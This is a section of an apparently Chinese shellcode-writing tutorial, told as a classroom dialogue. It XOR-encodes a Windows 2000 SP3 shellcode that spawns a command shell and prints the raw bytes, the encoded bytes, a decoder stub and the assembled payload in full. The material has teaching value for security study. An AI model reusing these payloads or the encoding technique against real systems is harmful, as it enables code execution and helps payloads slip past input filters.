5.2.4 实例——异或DOS窗口程序
“我们还是以Win2000中文版SP3下的开DOS窗口的ShellCode为例。大家应该很熟悉了吧?原来的ShellCode如下:”
ShellCode[] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x64\x9f\xE6\x77" //SP3 loadlibrary地址0x77e69f64
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc3\xaf\x01\x78" //SP3 system的地址0x7801afc3
"\xFF\xD0"
“我们先对ShellCode进行编码,异或0x97,程序为xorCMD.cpp(光盘有收录)。xorCMD.cpp还会自动生成规则格式,执行效果如图5-7。
“把屏幕上打印出的代码粘贴下来,得到编码后的enShellCode,如下:”
enShellCode[] =
"\xc2\x1c\x7b\xa4\x57\xc7\xc7\xc7\x51\xd2"
"\x63\xda\x51\xd2\x62\xc4\x51\xd2\x61\xc1"
"\x51\xd2\x60\xd4\x51\xd2\x6f\xc5\x51\xd2"
"\x6e\xc3\x51\xd2\x6d\xb9\x51\xd2\x6c\xd3"
"\x51\xd2\x6b\xdb\x51\xd2\x6a\xdb\x2d\xf3"
"\x8\x71\xe0\xc5\x1a\xd2\x63\xc7\x68\xc2"
"\x67\xc2\x1c\x7b\x14\x7b\xbb\x2f\xf4\xf8"
"\xfa\xfa\x1e\xd2\x63\x2f\xf6\xf9\xf3\xb9"
"\x1e\xd2\x6f\x2f\xf4\xf8\xfa\xb5\x1e\xd2"
"\x6b\xa4\x45\x1f\xc2\x68\x1a\xd2\x63\xc7"
"\x2f\x54\x38\x96\xef\x68\x47"
“再把我提取出的decode放在前面就ok了!”古风说道。
“好,我们把它合起来就是这样的:”
AllShellCode[] =
//先是decode
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x00\x02"
"\x80\x34\x0A\x97\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF"
//后面跟enShellCode
"\xc2\x1c\x7b\xa4\x57\xc7\xc7\xc7\x51\xd2"
"\x63\xda\x51\xd2\x62\xc4\x51\xd2\x61\xc1"
"\x51\xd2\x60\xd4\x51\xd2\x6f\xc5\x51\xd2"
"\x6e\xc3\x51\xd2\x6d\xb9\x51\xd2\x6c\xd3"
"\x51\xd2\x6b\xdb\x51\xd2\x6a\xdb\x2d\xf3"
"\x8\x71\xe0\xc5\x1a\xd2\x63\xc7\x68\xc2"
"\x67\xc2\x1c\x7b\x14\x7b\xbb\x2f\xf4\xf8"
"\xfa\xfa\x1e\xd2\x63\x2f\xf6\xf9\xf3\xb9"
"\x1e\xd2\x6f\x2f\xf4\xf8\xfa\xb5\x1e\xd2"
"\x6b\xa4\x45\x1f\xc2\x68\x1a\xd2\x63\xc7"
"\x2f\x54\x38\x96\xef\x68\x47"
“好,我们来验证一下ShellCode的功能吧!”老师说。
“好的,我来!”古风生怕别人抢了他的功劳,边组合边说,“用前面教过的验证方法把上面那个数组用((void(*)(void)&AllShellCode))强行转换为函数来调用,这样就得到了xorAll.cpp(光盘有收录)
“执行看看呢?”老师说道。
“好哩!编译、执行,如图5-8。”
“哈哈,成功了!”古风得意的说。
“但是,”老师连忙提醒大家,“我们的解码代码decode首先要自己符合规范,但这里?”
“哎哟!decode里面的第9个字节还是00呢!”眼尖的女生叫了起来。
这下台下炸开锅了,“decode本身还不合法呢!”
古风的脸刷得一下红得像个大苹果。
小倩悄声对宇强说:“怎么会这样啊?”
宇强小声的回答:“应该可以解决的吧?看看老师怎么说。”
老师笑了笑:“我只是想提醒大家,写ShellCode时一定要仔细。这里的00很好解决,一会儿再说,我们先总结一下xor方法的优缺点。”